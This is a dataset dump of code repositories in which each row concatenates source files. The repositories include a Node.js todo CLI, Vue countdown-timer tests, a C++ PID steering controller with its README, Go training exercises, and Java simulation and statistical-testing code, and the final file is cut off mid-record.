branch_name
stringclasses
149 values
text
stringlengths
23
89.3M
directory_id
stringlengths
40
40
languages
listlengths
1
19
num_files
int64
1
11.8k
repo_language
stringclasses
38 values
repo_name
stringlengths
6
114
revision_id
stringlengths
40
40
snapshot_id
stringlengths
40
40
refs/heads/main
<repo_name>AndresG75/Console-App<file_sep>/app.js const {argv} = require('./config/yargs'); const {colors} = require('colors'); const { borrarTarea, actualizarTarea, crearTarea, getListado} = require('./logica'); let comando = argv._[0]; switch ( comando ){ case 'crear': console.log("Creando"); crearTarea(argv.descripcion); break; case 'listar': let listado = getListado(); console.log("Listado",listado); for (let tarea of listado) { console.log("===Tareas===".green); console.log(tarea.descripcion); console.log("Completado",tarea.completado); console.log("============".green); } case 'actualizar': console.log("Actualizando"); actualizarTarea(argv.descripcion, argv.completado) break; case 'borrar': console.log("Borrando"); borrarTarea(argv.descripcion); break; default: console.log("No se reconoce el comando"); }<file_sep>/config/yargs.js const argv = require("yargs") .command('crear','Crear un elemento por hacer',{ descripcion:{ alias:'d' } }) .command('actualizar','Actualiza el estado completado de una tarea',{ descripcion:{ alias: 'd' }, completado: { alias: 'c', default: true } }) .command('borrar','Borrar la tarea seleccionada',{ descripcion:{ alias: 'd' } }) .command('listar','Listando todas las tareas',{ listar:{ alias:'l' } }) .help() .argv; module.exports = { argv }
52953dae8c5e5ce157e904b3e6a3bbf12770a9a4
[ "JavaScript" ]
2
JavaScript
AndresG75/Console-App
5fede46c4735b69308262c02caef1b511e27d304
5986d26fc0c70ef78293c83a2b71ee7188a68c93
refs/heads/master
<file_sep>import { shallowMount } from "@vue/test-utils"; import CountdownTimer from "@/components/CountdownTimer"; import TimerForm from "@/components/TimerForm"; import TimerStopButton from "@/components/TimerStopButton"; import TimerSpeedButtons from "@/components/TimerSpeedButtons"; describe("CountdownTimer", () => { describe("Initialize timer", () => { const vmData = { selectedDuration: null, timer: null, totalTime: null, timerIsRunning: false, timerSpeed: null }; let wrapper; beforeEach(() => { wrapper = shallowMount(CountdownTimer, { vmData }); }); it("set the correct data values when initTimer event is emitted", () => { wrapper.find(TimerForm).vm.$emit("initTimer", 1); expect(wrapper.vm.timerSpeed).toBe(1000); expect(wrapper.vm.selectedDuration).toBe(60); expect(wrapper.vm.totalTime).toBe(60); }); it("call the startTimer methods once", () => { const stub = jest.fn(); wrapper.setMethods({ startTimer: stub }); wrapper.vm.$on("startTimer", stub); wrapper.find(TimerForm).vm.$emit("initTimer", 1); expect(stub).toHaveBeenCalledTimes(1); }); }); describe("Start timer", () => { const vmData = { selectedDuration: 60, timer: 1, totalTime: 60, timerIsRunning: false, timerSpeed: 1000 }; let wrapper; beforeEach(() => { wrapper = shallowMount(CountdownTimer); wrapper.setData(vmData); }); it("contains TimerStopButton component ", () => { expect(wrapper.contains(TimerStopButton)).toBe(true); }); it("set timerIsRunning value to true when startTimer event is emitted", () => { wrapper.find(TimerStopButton).vm.$emit("startTimer"); expect(wrapper.vm.timerIsRunning).toBe(true); }); }); describe("Stop timer", () => { const vmData = { selectedDuration: 60, timer: 1, totalTime: 60, timerIsRunning: true, timerSpeed: 1000 }; let wrapper; beforeEach(() => { wrapper = shallowMount(CountdownTimer); wrapper.setData(vmData); }); it("contains TimerStopButton component ", () => { expect(wrapper.contains(TimerStopButton)).toBe(true); }); it("set timerIsRunning value to false when stopTimer event is emitted", () => { wrapper.find(TimerStopButton).vm.$emit("stopTimer"); expect(wrapper.vm.timerIsRunning).toBe(false); }); }); describe("End timer", () => { const vmData = { selectedDuration: 60, timer: 1, totalTime: 1, timerIsRunning: true, timerSpeed: 1000 }; let wrapper; beforeEach(() => { wrapper = shallowMount(CountdownTimer); wrapper.setData(vmData); }); it("call stopTimer when endTimer method is executed", () => { const stub = jest.fn(); wrapper.setMethods({ stopTimer: stub }); wrapper.vm.endTimer(); expect(stub).toHaveBeenCalledTimes(1); }); it("set timer value to null when endTimer method is executed", () => { wrapper.vm.endTimer(); expect(wrapper.vm.timer).toBe(null); }); }); describe("Reset timer", () => { const vmData = { selectedDuration: 60, timer: 1, totalTime: 30, timerIsRunning: true, timerSpeed: 1000 }; let wrapper; beforeEach(() => { wrapper = shallowMount(CountdownTimer); wrapper.setData(vmData); }); it("contains TimerForm component ", () => { expect(wrapper.contains(TimerForm)).toBe(true); }); it("reset the correct data values when resetTimer event is emitted", () => { wrapper.find(TimerForm).vm.$emit("resetTimer"); expect(wrapper.vm.totalTime).toBe(null); expect(wrapper.vm.selectedDuration).toBe(null); expect(wrapper.vm.timer).toBe(null); expect(wrapper.vm.timerIsRunning).toBe(false); expect(wrapper.vm.timerSpeed).toBe(null); }); }); describe("Change timer speed", () => { const vmData = { selectedDuration: 60, timer: 1, totalTime: 30, timerIsRunning: true, timerSpeed: 1000 }; let wrapper; beforeEach(() => { wrapper = shallowMount(CountdownTimer); wrapper.setData(vmData); }); it("contains TimerSpeedButtons component ", () => { expect(wrapper.contains(TimerSpeedButtons)).toBe(true); }); it("set the correct value to timerSpeed when changeSpeed event is emitted", () => { wrapper.find(TimerSpeedButtons).vm.$emit("changeSpeed", 500); expect(wrapper.vm.timerSpeed).toBe(500); }); }); describe("Count Down", () => { const vmData = { selectedDuration: 60, timer: 1, totalTime: 30, timerIsRunning: true, timerSpeed: 1000 }; let wrapper; beforeEach(() => { wrapper = shallowMount(CountdownTimer); wrapper.setData(vmData); }); it("decrement the totalTime value when the countdown method is executed", () => { wrapper.vm.countdown(); expect(wrapper.vm.totalTime).toBe(29); }); it("call endTimer method if totalTime value equals 0", () => { const stub = jest.fn(); wrapper.setMethods({ endTimer: stub }); wrapper.vm.totalTime = 1; wrapper.vm.countdown(); expect(stub).toHaveBeenCalledTimes(1); }); }); }); <file_sep># Countdown Timer | Vue.js By [<NAME>](https://github.com/HediJabri) ## Demo <p align="center"> <img src="https://res.cloudinary.com/dravwgiq1/image/upload/v1548954954/qmvz5ockibjrtvwgdizi.gif" width="700px"> <br> </p> ## Instructions 1. Clone locally using `git clone <EMAIL>:HediJabri/countdown-timer.git` 2. Install dependencies using `npm install` 3. Run tests using `npm run test:unit` 4. Start your server using `npm run serve` 5. Navigate to app in [browser](http://localhost:8080) ## Discussion The main technologies I used to build this app are: Vue 2, HTML, SCSS, Webpack and Jest. ## Requirements The user should be able to enter a # of minutes (positive integer) and click a “Start” button to initialize the countdown. - Timer format: MM:SS - The user should be able to pause & resume the countdown using pause/resume buttons. - While the countdown timer is active, the user should be able to speed up / slow down the speed at the following rates: - 1.0X (normal speed, selected by default) - 1.5X - 2X - When half of the selected duration has been passed, display a string of text above the countdown timer reading: “More than halfway there!” - When the countdown timer reaches 0, this text should change to: “Time’s up!” - When the countdown is within 20 seconds of ending, the countdown timer text should turn red. - At 10 seconds, the text should start blinking. Include unit testing for applicable functionality. The countdown timer functionality should be appropriately divided into well-defined components. The look of the countdown timer should have a production-ready clean/modern aesthetic. Feel free to creatively stylize the elements. <file_sep>import { shallowMount } from "@vue/test-utils"; import TimerForm from "@/components/TimerForm.vue"; describe("TimerForm", () => { describe("Start button when timer is not running", () => { let wrapper; const propsData = { timer: null }; beforeEach(() => { wrapper = shallowMount(TimerForm, { propsData }); }); it("has a start button", () => { expect(wrapper.contains(".btn-form-start")).toBe(true); }); it("set errorInputMessage on click if inputNumber is not valid", () => { wrapper.setData({ inputNumber: -1, errorInputMessage: null }); const btn = wrapper.find(".btn-form-start"); btn.trigger("click"); expect(wrapper.vm.errorInputMessage).toBe("Please enter a valid number"); }); it("emit an initTimer event on click if inputNumber is valid", () => { wrapper.setData({ inputNumber: 1, errorInputMessage: null }); const btn = wrapper.find(".btn-form-start"); btn.trigger("click"); expect(wrapper.emitted().initTimer).toBeTruthy(); }); }); describe("Reset button when timer is running", () => { let wrapper; const propsData = { timer: 1 }; beforeEach(() => { wrapper = shallowMount(TimerForm, { propsData }); }); it("has a reset button", () => { expect(wrapper.contains(".btn-form-reset")).toBe(true); }); it("emit a resetTimer on click", () => { wrapper.setData({ inputNumber: 1, errorInputMessage: null }); const btn = wrapper.find(".btn-form-reset"); btn.trigger("click"); expect(wrapper.emitted().resetTimer).toBeTruthy(); }); }); });
efa750d951aa4057320d0948c7e3907562e07ab9
[ "JavaScript", "Markdown" ]
3
JavaScript
HediJabri/countdown-timer
99ec4c5b6fbe1edd00fbb2c31285fe8eae1f2abd
08873f98cf2dfbde93329f1e16a433c0d40f6064
refs/heads/master
<file_sep>module.exports = { extends: ["stylelint-config-prettier"], rules : { indentation : 2, "string-quotes" : "single", "number-leading-zero": null, }, };
af682fa87f32b96804d095bc44805622cd11fe0f
[ "JavaScript" ]
1
JavaScript
jennifer-shehane/react-boilerplate
7a7e29657d59b415bee15685fb54ce358a2913a3
7b9405a3b07bd80acc283d57d2189d11dedc2080
refs/heads/master
<repo_name>MasamiYamate/TokkyClickerMobile<file_sep>/Resources/app.js //カウント用の変数 var count = 0; var win1 = Titanium.UI.createWindow({ title:'Tab 1', backgroundColor:'#000000', fullscreen:true }); var label1 = Titanium.UI.createLabel({ color:'#FFFFFF', //text:'I am Window 1', font:{fontSize:38,fontFamily:'Helvetica Neue'}, textAlign:'center', width:'auto', top:400 }); var tokkybutton = Ti.UI.createButton({ backgroundImage:'photo/tokinotoki.png', height:200, width:200, }); tokkybutton.addEventListener('singletap',function(){ count= count +1; Ti.API.info(count); label1.text = 'click:'+count; return count; }); win1.add(tokkybutton); win1.add(label1); win1.open();
58fc35587f7fbb0ac74dd57cab48af8763cc13b1
[ "JavaScript" ]
1
JavaScript
MasamiYamate/TokkyClickerMobile
22ebff61e2ddd16a3fd46e252a33c18d758ea72a
52cbf6338dc554fe75aa5ca89d5194f32a80f2be
refs/heads/master
<repo_name>Jeanyvesbourdoncle/PID-implementation-for-steering-angle-control<file_sep>/src/PID.cpp //============================================================================ // Name : PID.cpp // Author : <NAME> // Version : v1.0 // Date : 23/06/2019 // Description : Hyperparameters Initialization : Gain Initialization and Error initialization // Update Error : based on the Cross Track Error CTE // Total Error Initialization : Calculation of the alpha with the Kp,Kd,Ki hyperparameters //============================================================================ #include <vector> #include <iostream> #include <cmath> #include "PID.h" PID::PID() {} PID::~PID() {} void PID::Init(double Kp_, double Ki_, double Kd_) { //Initialize PID coefficients (and errors, if needed) Kp = Kp_; Ki = Ki_; Kd = Kd_; cycle=0; // initialization for the first cycle } void PID::UpdateError(double cte) { //Update PID errors based on cte. d_error = cte-p_error; // derivate p_error = cte; // proportional i_error += cte; // integrale cycle=cycle+1; // cycle incrementation } double PID::TotalError( ) { //Calculate and return the total error after the hyperparameters tuning return -Kp * p_error -Kd * d_error -Ki * i_error; } <file_sep>/src/PID.h //============================================================================ // Name : PID.h // Author : <NAME> // Version : v1.0 // Date : 23/06/2019 //============================================================================ #ifndef PID_H #define PID_H #include <vector> class PID { public: // Constructor double p_error; double i_error; double d_error; //PID Coefficients double Kp; double Ki; double Kd; int cycle; PID(); //Destructor. virtual ~PID(); //Initialize PID : @param (Kp_, Ki_, Kd_) The initial PID coefficients void Init(double Kp, double Ki, double Kd); //Update the PID error variables given cross track error.@param cte The current cross track error void UpdateError(double cte); // Calculate the total PID error.@output The total PID error double TotalError(); // PID Errors }; #endif // PID_H <file_sep>/README.md ### PID Implementation for steering angle control Cross Track Error (CTE) minimization with the 3 PID hyperparameters -------- #### Target of the project The target of this project is to implement 2 controllers : - one PID controller for the steering angle control to be sure that the vehicle stays always on the track, - one P controller for the respect of the maximum speed to be sure that the vehicle doesn't exceed the maximum speed accepted. -------- #### Hypermarameters Definition - Kp : the target of this hyperparameter is to control proportionnaly the CTE : it's the standard proportional hyperparameter, - Kd : the target of this hyperparameter is to control the CTE for every cycle time (to delete the oscillation) : it's the derivative hyperparameter : he removes the oscillation and permit to converge on the goal without oscillation, - Ki : the target of this hyperparameter is to control the sum of the CTE, which cause a systematic error (bias) : it's the integral hyperparameter : he removes the systematic error. For the maximum speed limitation, only the Kp is useful, that why we speek about P Controller. --------- #### Hyperparameters tuning The method used for this project was the "manual Tuning". The others method "TWIDDLE" and "SGD" haven't be used. For this "manual method", the pipeline is : - the first step is to configure the maximum speed with 5 MPH at the beginning to find the best hyperparameters, - the second step is to increase gradually the Kp, - when the first oscillation comes, the Kd Hyperparameters must be gradually increased to delete these oscillation, - after a couple of cycle time, the Ki hyperparameters will be tuned to delete the systematic mistake (bias). This pipeline will be reproduce with 10 MPH and 15 MPH to find the best hyperparameters. The result of this pipeline are : steering_angle_pid.Init(0.15,0.003,1.0). For the second controller (P Controller), we don't used this pipeline, only the Kp hyperparameters must be configured with 0.1. For this controller, the Kd and the Ki are not useful. The result is : speed_pid.Init(0.1,0.000,0.0). ----------- #### Others comments The maximum speed is configured with 20 MPH. The safety criterion are fullfilled : the vehicule stays always on the track and stays always under 20 MPH (maximum speed acepted). The confort criterion are fullfilled : in the sharp turm (-1 <steer_value or steer_value > 1 ), the steer_value is configured with +/- 0.5. The manual method was here choosen. This method is very long and not totally optimal (groping solution), a second version of this software will be made later with the Twiddle and the SGD algoritm. ----------- ### Dependencies * cmake >= 3.5 * All OSes: [click here for installation instructions](https://cmake.org/install/) * make >= 4.1(mac, linux), 3.81(Windows) * Linux: make is installed by default on most Linux distros * Mac: [install Xcode command line tools to get make](https://developer.apple.com/xcode/features/) * Windows: [Click here for installation instructions](http://gnuwin32.sourceforge.net/packages/make.htm) * gcc/g++ >= 5.4 * Linux: gcc / g++ is installed by default on most Linux distros * Mac: same deal as make - [install Xcode command line tools]((https://developer.apple.com/xcode/features/) * Windows: recommend using [MinGW](http://www.mingw.org/) * [uWebSockets](https://github.com/uWebSockets/uWebSockets) * Run either `./install-mac.sh` or `./install-ubuntu.sh`. * If you install from source, checkout to commit `e94b6e1`, i.e. ``` git clone https://github.com/uWebSockets/uWebSockets cd uWebSockets git checkout e94b6e1 ``` Some function signatures have changed in v0.14.x. See [this PR](https://github.com/udacity/CarND-MPC-Project/pull/3) for more details. * Simulator. You can download these from the [project intro page](https://github.com/udacity/self-driving-car-sim/releases) in the classroom. Fellow students have put together a guide to Windows set-up for the project [here](https://s3-us-west-1.amazonaws.com/udacity-selfdrivingcar/files/Kidnapped_Vehicle_Windows_Setup.pdf) if the environment you have set up for the Sensor Fusion projects does not work for this project. There's also an experimental patch for windows in this [PR](https://github.com/udacity/CarND-PID-Control-Project/pull/3). -------------- ### Basic Build Instructions 1. Clone this repo. 2. Make a build directory: `mkdir build && cd build` 3. Compile: `cmake .. && make` 4. Run it: `./pid`.
68be1c128e3a582a7f8d0aa83b19d06d4ea127f3
[ "Markdown", "C++" ]
3
C++
Jeanyvesbourdoncle/PID-implementation-for-steering-angle-control
f67e5640eb6e4faea1e44962cb8486d4b081853d
04910e7ccfddf7a2396f3f81de74b4e803b97309
refs/heads/master
<repo_name>josvar/gotraining<file_sep>/utf8/utf8.go package main import "fmt" func main() { c := '\U00010348' d := '€' e := '\U0010FFFF' fmt.Printf("%c \n", c) fmt.Printf("%x \n", d) fmt.Printf("%c \n", e) } <file_sep>/11_switch_statements/switch.go package main import ( "fmt" ) func main() { switch "Josh" { case "Daniel": fmt.Println("Wassup Daniel") case "Josh": fmt.Println("Wassup Josh") case "Less": fmt.Println("Wassup Less") default: fmt.Println("Have you no friends?") } } /* no default fallthrough fallthrough is optional -- you can specify fallthrough by explicitly stating it -- break isn't needed like in other languages */ <file_sep>/02_packages/utils/utilsvars.go package utils var MyVar = "Hello" //var anotherVar = "World"<file_sep>/07_memory_address/showing-address.go package main import "fmt" func main() { a := 43 b := &a fmt.Println("a - ", a) fmt.Println("a's memory address - ", &a) fmt.Printf("DECIMAL\t%d\t%d\n", &a, b) fmt.Printf("HEX\t\t%#X\t%#X\n", &a, b) } <file_sep>/03_variables/less_emphasis/infer_mixed_up_types.go package main import "fmt" func main() { var message = "Hello world" var a, b, c = 1, false, '\x61' fmt.Println(message, a, b, string(c)) } <file_sep>/utf8/main.go package main import "fmt" func main() { for i := 60; i < 123; i++ { fmt.Printf("%d \t %b \t %x \t %q \n", i, i, i, i) } fmt.Printf("%t", true) fmt.Printf("\n %q \n", 8984) } <file_sep>/practise/main.go package main import ( "fmt" ) func main() { foo := "hello world" chars := []int32(foo) fmt.Printf("%c\n", chars) fmt.Printf("%v\n", chars) fmt.Printf("%b\n", chars) fmt.Printf("%x\n", chars) } <file_sep>/09_remainder/main.go package main import ( "fmt" "math/rand" "time" ) func main() { rand.Seed(time.Now().UTC().UnixNano()) y := rand.Intn(10) rem := y % 2 fmt.Println(y) if rem == 1 { fmt.Println("Odd") } else { fmt.Println("Even") } } <file_sep>/02_packages/main.go package main import ( "fmt" "gotraining/02_packages/utils" "gotraining/02_packages/icomefrombsas" ) func main() { fmt.Println(utils.MyVar) //cannot be accessed //fmt.Println(utils.anotherVar) fmt.Println(icomefrombsas.BearName) fmt.Println(utils.Reverse("!oG ,olleH")) } <file_sep>/11_switch_statements/fallthrough.go package main import ( "fmt" ) func main() { switch "Josh" { case "Tim": fmt.Println("Wassup Tim") case "Jenny": fmt.Println("Wassup Jenny") case "Josh": fmt.Println("Wassup Josh") fallthrough case "Medhi": fmt.Println("Wassup Medhi") fallthrough case "Julian": fmt.Println("Wassup Julian") case "Less": fmt.Println("Wassup Less") } } <file_sep>/04_scope/main.go package main import "fmt" func main() { x := 0 var increment = func() int { x++ return x } fmt.Println(increment()) fmt.Println(increment()) fmt.Println(increment()) fmt.Println(y) } var y = 99 <file_sep>/02_packages/icomefrombsas/name2.go package icomefrombsas var BearName = "Pooh"<file_sep>/03_variables/exercises/myName.go package main import "fmt" func main() { name := "<NAME>" fmt.Println("Name: ", name) } <file_sep>/numbers/extra.go package main import "fmt" func main() { fmt.Printf("%+X \n", 3789) fmt.Printf("%+X \n", -3789) fmt.Printf("%+d \n", 2999999) fmt.Printf("%+d \n", -2999999) } <file_sep>/utf8/runes.go package main import "fmt" func main() { c := '⌘' d := `\n \t` fmt.Printf("%v \n", c) fmt.Printf("%#v \n", c) fmt.Printf("%#X \n", c) fmt.Printf("%q \n", c) fmt.Printf("%c \n", c) fmt.Printf("%v", d) }
56972efc97e37b32b56188fa21d8a02ab6fa9c64
[ "Go" ]
15
Go
josvar/gotraining
c118a9c876af260c4a4f2e0a8bd65203c368c62e
5f9986eca8d0a4f56f37cd46c680eb7ca2648569
refs/heads/master
<repo_name>HumanGenomeCenter/java<file_sep>/src/sim/test.java package sim; public class test { public static void main(String [] args) throws Exception{ /*for(int i = 0; i<1000; i++){ char[] c = Character.toChars(i); for(int j = 0; j<c.length; j++){ System.out.println(i + " " + c[j]); } } Long L = Long.MAX_VALUE; String S = Long.toBinaryString(L); System.out.println(S.length()); */ BigSimulator2D S = new BigSimulator2D(); S.mutationRate = 0.01; S.maxPopulationSize = 10000; S.symmetricReplicationProbablity = 1; S.initialPopulationSize = 10; S.maxTime = 1000000000; S.genomeSize = 10; //S.maxTime = 10; S.initializeGenomes(); System.out.println(S.genome2mutatedGenes(S.get(0,0))+ " " + S.getFitness(0, 0)); for(int i = 0; i < 100; i++){ S.mutate(0, 0); System.out.println(S.genome2mutatedGenes(S.get(0,0)) + " " + S.getFitness(0, 0)); } //S.simulate(); } } <file_sep>/src/sim/test2.java package sim; public class test2 { public static void main(String [] args) throws Exception{ BigSimulator2DwithSelection S = new BigSimulator2DwithSelection(); S.maxPopulationSize = 10; S.genomeSize=5; S.driverSize=5; S.mutationRate = 0.1; S.initializeGenomes(); S.setSelectiveRegion1(); int x = -1; int y = 1; System.out.println(S.selection2selectiveDriverGenes(S.getSelection(x,y))); System.out.println(S.genome2mutatedGenes(S.get(x,y))+ " " + S.getFitness(x, y)); for(int i = 0; i < 20; i++){ S.mutate(x, y); System.out.println(S.genome2mutatedGenes(S.get(x,y)) + " " + S.getFitness(x, y)); } } } <file_sep>/bin/.settings/.svn/text-base/org.eclipse.ltk.core.refactoring.prefs.svn-base #Fri Oct 31 16:40:32 JST 2008 eclipse.preferences.version=1 org.eclipse.ltk.core.refactoring.enable.project.refactoring.history=false <file_sep>/bin/mutation/.svn/text-base/MutualExclusivityTest.java.svn-base package mutation; import java.util.*; import utility.*; import org.apache.commons.cli.*; import sun.reflect.Reflection; public class MutualExclusivityTest { MyMat M; double stat; double pval; int perm = 1000; public MutualExclusivityTest(MyMat M){ this.M = M; } private double calculateStatistic(MyMat M){ double s = 0; for (int j = 0; j < M.colSize(); j++){ List <Double> tmp = M.getCol(j); double t = 0; for(Double d: tmp){ if(d>0.01){ t++; } } if(t > 1){ s++; } } return s; } private void calculateStatistic(){ stat = calculateStatistic(M); } private void caluculatePvalue(){ List <Double> statNull = new ArrayList<Double>(); while(statNull.size() < perm){ double tmp = calculateStatistic(permutateMatrix(M)); System.err.println(tmp); statNull.add(tmp); } pval = 0; for(Double d: statNull){ if(d <= stat){ pval++; } } if(pval==0){ pval=1; } pval /= statNull.size(); } public void perform(){ calculateStatistic(); caluculatePvalue(); } private MyMat permutateMatrix(MyMat M){ for(int i = 0; i < M.rowSize(); i++){ List <Double> tmp = M.getRow(i); tmp = MyFunc.sample(tmp, tmp.size()); for(int j = 0; j < M.colSize(); j++){ M.set(i,j,tmp.get(j)); } } return M; } private void print(){ System.out.println(stat + "\t" + pval); } public static void main(String [] args) throws Exception{ Options options = new Options(); options.addOption("p", "perm", true, "# of permutation"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] tabfile ", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 1){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] tabfile", options); return; } MutualExclusivityTest MET = new MutualExclusivityTest(new MyMat(argList.get(0))); if(commandLine.hasOption("p")){ MET.perm = Integer.valueOf(commandLine.getOptionValue("p")); } MET.perform(); MET.print(); } } <file_sep>/src/bct/BCTcorrelationTest.java package bct; import java.util.*; import org.apache.commons.cli.*; import sun.reflect.Reflection; import utility.*; public class BCTcorrelationTest { BCT M1; BCT M2; List <String> r1; List <String> r2; List <String> c; MyMat P1; MyMat P2; int n1; int n2; int m; double posWeight = 1; double sampWeight = 1; boolean comb = false; boolean larger = true; boolean intercor = false; double replaceNan = -1; Map<String, Double> Pvalue; PoibinRNA PB; double pcutoff = 3; public static class Operation{ private final String name; private Operation(String name){this.name = name;} public Operation(Operation b){this.name = b.name;} @Override public String toString(){return name;} public boolean equals(Operation b){return name.equals(b.toString());}; public static final Operation AND = new Operation("AND"); public static final Operation OR = new Operation("OR"); public static final Operation XOR = new Operation("XOR"); } interface PBstatistic{ int get(int i, int j); } interface PBparameter{ List<Double> get(int i, int j); } interface Pcalculation{ double get(int i, int j); } Operation operation; PBstatistic statistic; PBparameter parameter; Pcalculation pcalculation; private void setAND(){ operation = Operation.AND; statistic = new PBstatistic(){ public int get(int i, int j){ int d = 0; for(int k = 0; k < m;k++){ if(M1.is1(i,k) & M2.is1(j,k)){ d++; } } return d; } }; parameter = new PBparameter(){ public List<Double> get(int i, int j){ List <Double> p = new ArrayList<Double>(); for(int k = 0; k < m;k++){ p.add(P1.get(i,k)*P2.get(j,k)); } return p; } }; } private void setOR(){ operation = Operation.OR; statistic = new PBstatistic(){ public int get(int i, int j){ int d = 0; for(int k = 0; k < m;k++){ if(M1.is1(i,k) | M2.is1(j,k)){ d++; } } return d; } }; parameter = new PBparameter(){ public List<Double> get(int i, int j){ List <Double> p = new ArrayList<Double>(); for(int k = 0; k < m;k++){ p.add(1- (1-P1.get(i,k))*(1 -P2.get(j,k))); } return p; } }; } private void setXOR(){ operation = Operation.XOR; statistic = new PBstatistic(){ public int get(int i, int j){ int d = 0; for(int k = 0; k < m;k++){ if((M1.is1(i,k) & M2.is0(j,k) ) | (M1.is0(i,k) & M2.is1(j,k))){ d++; } } return d; } }; parameter = new PBparameter(){ public List<Double> get(int i, int j){ List <Double> p = new ArrayList<Double>(); for(int k = 0; k < m;k++){ p.add(P1.get(i,k)*(1-P2.get(j,k)) + (1-P1.get(i,k))*P2.get(j,k)); } return p; } }; } private void testLarger(){ larger = true; pcalculation = new Pcalculation(){ public double get(int i, int j){ int k = statistic.get(i, j); List <Double> p = parameter.get(i,j); return 1- PB.getCdf(k,p); } }; } private void testSmaller(){ larger = false; pcalculation = new Pcalculation(){ public double get(int i, int j){ int k = statistic.get(i, j); List <Double> p = parameter.get(i,j); return PB.getCdf(k-1,p); } }; } private void testPcutoff(double d){ pcutoff = d; } public void setPosWeight(double d){ if(d <= 1 & d >= 0){ posWeight = d; } } public void setSampWeight(double d){ if(d <= 1 & d >= 0){ sampWeight = d; } } public BCTcorrelationTest(MyMat A, MyMat B){ c = MyFunc.isect(A.getColNames(), B.getColNames()); r1 = A.getRowNames(); r2 = A.getRowNames(); M1 = new BCT(A.getSubMatrix(r1, c)); M2= new BCT(B.getSubMatrix(r2, c)); n1 = M1.rowSize(); n2 = M2.rowSize(); m = c.size(); PB = new PoibinRNA(); setAND(); testLarger(); comb=true; intercor=false; } public BCTcorrelationTest(MyMat A){ M1 = new BCT(A); M2 = new BCT(A); n1 = M1.rowSize(); n2 = n1; m = M1.colSize(); PB = new PoibinRNA(); setAND(); testLarger(); comb=true; intercor=true; } public void testMatchedRows(){ if(!intercor){ comb = false; List<String> r = MyFunc.isect(r1, r2); List <Integer> R1 = new ArrayList <Integer>(); for(int i = 0; i < r1.size(); i++){ if(r.contains(r1.get(i))){ R1.add(i); } } List <Integer> R2 = new ArrayList <Integer>(); for(int i = 0; i < r2.size(); i++){ if(r.contains(r2.get(i))){ R2.add(i); } } r1=r; r2=r; List <Integer> C = new ArrayList <Integer>(); for(int i = 0; i < c.size(); i++){ C.add(i); } M1 = M1.getSubTable(R1, C); M2= M2.getSubTable(R2, C); n1 = M1.rowSize(); n2 = M2.rowSize(); } } private static List <Double> reWeight (List <Double> L, double k){ List <Double> tmp = new ArrayList <Double>(); List <Double> tmp2 = new ArrayList <Double>(); for(double d: L){ tmp.add(Math.pow(d, k)); } double tmp3 = MyFunc.sum(tmp); for(double d: tmp){ tmp2.add(d/tmp3); } return tmp2; } private MyMat calculateParameters(BCT M){ double a; List <Double> q; List <Double> r; a = M.sum(); q = new ArrayList<Double>(); r = new ArrayList<Double>(); for(int i = 0; i < M.rowSize(); i++){ q.add(M.rowSum(i)/a); } if(posWeight != 1){ q = reWeight(q,posWeight); } for(int k = 0; k < M.colSize(); k++){ r.add(M.colSum(k)/a); } if(sampWeight != 1){ r = reWeight(r,sampWeight); } MyMat P = new MyMat(M.rowSize(), M.colSize()); for(int i = 0; i < M.rowSize(); i++){ for(int k = 0;k < M.colSize(); k++){ double p = a*q.get(i)*r.get(k); if(p > 1){ System.err.println(i + " " + k + " "+ p); } P.set(i, k, p); } } return P; } public void calculateParameters(){ P1 = calculateParameters(M1); P2 = calculateParameters(M2); } public void getPvalue(){ if(!comb){ Pvalue = new HashMap<String, Double>(); for(int i = 0; i<n1; i++){ Pvalue.put(r1.get(i), pcalculation.get(i,i)); } }else{ Pvalue = new HashMap<String, Double>(); for(int i = 0; i<n1; i++){ for(int j = 0; j<n2; j++){ if(intercor & (j >= i)){ continue; } Pvalue.put(r1.get(i)+ " "+r2.get(j), pcalculation.get(i,j)); } } } } public void convertPvalue2LogScale(){ double tmp = 1; for(String p: Pvalue.keySet()){ if(Pvalue.get(p) != 0 & Pvalue.get(p) < tmp){ tmp = Pvalue.get(p); } } double max = - Math.log10(tmp); for(String p: Pvalue.keySet()){ tmp = Pvalue.get(p); if(tmp==1){ tmp=0; }else if(tmp==0){ tmp = max; }else if(Double.isNaN(tmp)){ tmp = replaceNan; }else{ tmp = - Math.log10(tmp); } Pvalue.put(p, tmp); } Map <String, Double> tmp2 = new HashMap<String, Double>(Pvalue); Pvalue = new LinkedHashMap<String, Double>(); for(String s: MyFunc.sortKeysByDescendingOrderOfValues(tmp2)){ if(tmp2.get(s) > pcutoff){ Pvalue.put(s, tmp2.get(s)); } } } public void perform(){ calculateParameters(); getPvalue(); convertPvalue2LogScale(); } public static void main(String [] args) throws Exception{ Options options = new Options(); options.addOption("o", "or", false, "test OR"); options.addOption("x", "eor", false, "test XOR"); options.addOption("s", "small", false, "test smaller"); options.addOption("p", "pcutoff", true, "pvalue cutoff"); options.addOption("m", "match", false, "test matched rows"); options.addOption("P", "suppos", true, "suppress position-wise weight"); options.addOption("S", "samppos", true, "suppress sample-wise weight"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine = null; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] input.tab", options); System.exit(1); } List <String> argList = commandLine.getArgList(); if(!(argList.size() == 1 | argList.size() == 2)){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] input.tab", options); System.exit(1); } BCTcorrelationTest B = null; if(argList.size() == 1 ){ B = new BCTcorrelationTest(new MyMat(argList.get(0))); }else{ B = new BCTcorrelationTest(new MyMat(argList.get(0)), new MyMat(argList.get(1))); } if(commandLine.hasOption("o")){ B.setOR(); } if(commandLine.hasOption("x")){ B.setXOR(); } if(commandLine.hasOption("s")){ B.testSmaller(); } if(commandLine.hasOption("p")){ B.testPcutoff(Double.valueOf(commandLine.getOptionValue("p"))); } if(commandLine.hasOption("m")){ B.testMatchedRows(); } if(commandLine.hasOption("S")){ B.setSampWeight(Double.valueOf(commandLine.getOptionValue("S"))); } if(commandLine.hasOption("P")){ B.setPosWeight(Double.valueOf(commandLine.getOptionValue("P"))); } B.perform(); for(String s: B.Pvalue.keySet()){ System.out.println(s + "\t" + B.Pvalue.get(s)); } } } <file_sep>/src/utility/PoibinRNA.java package utility; import 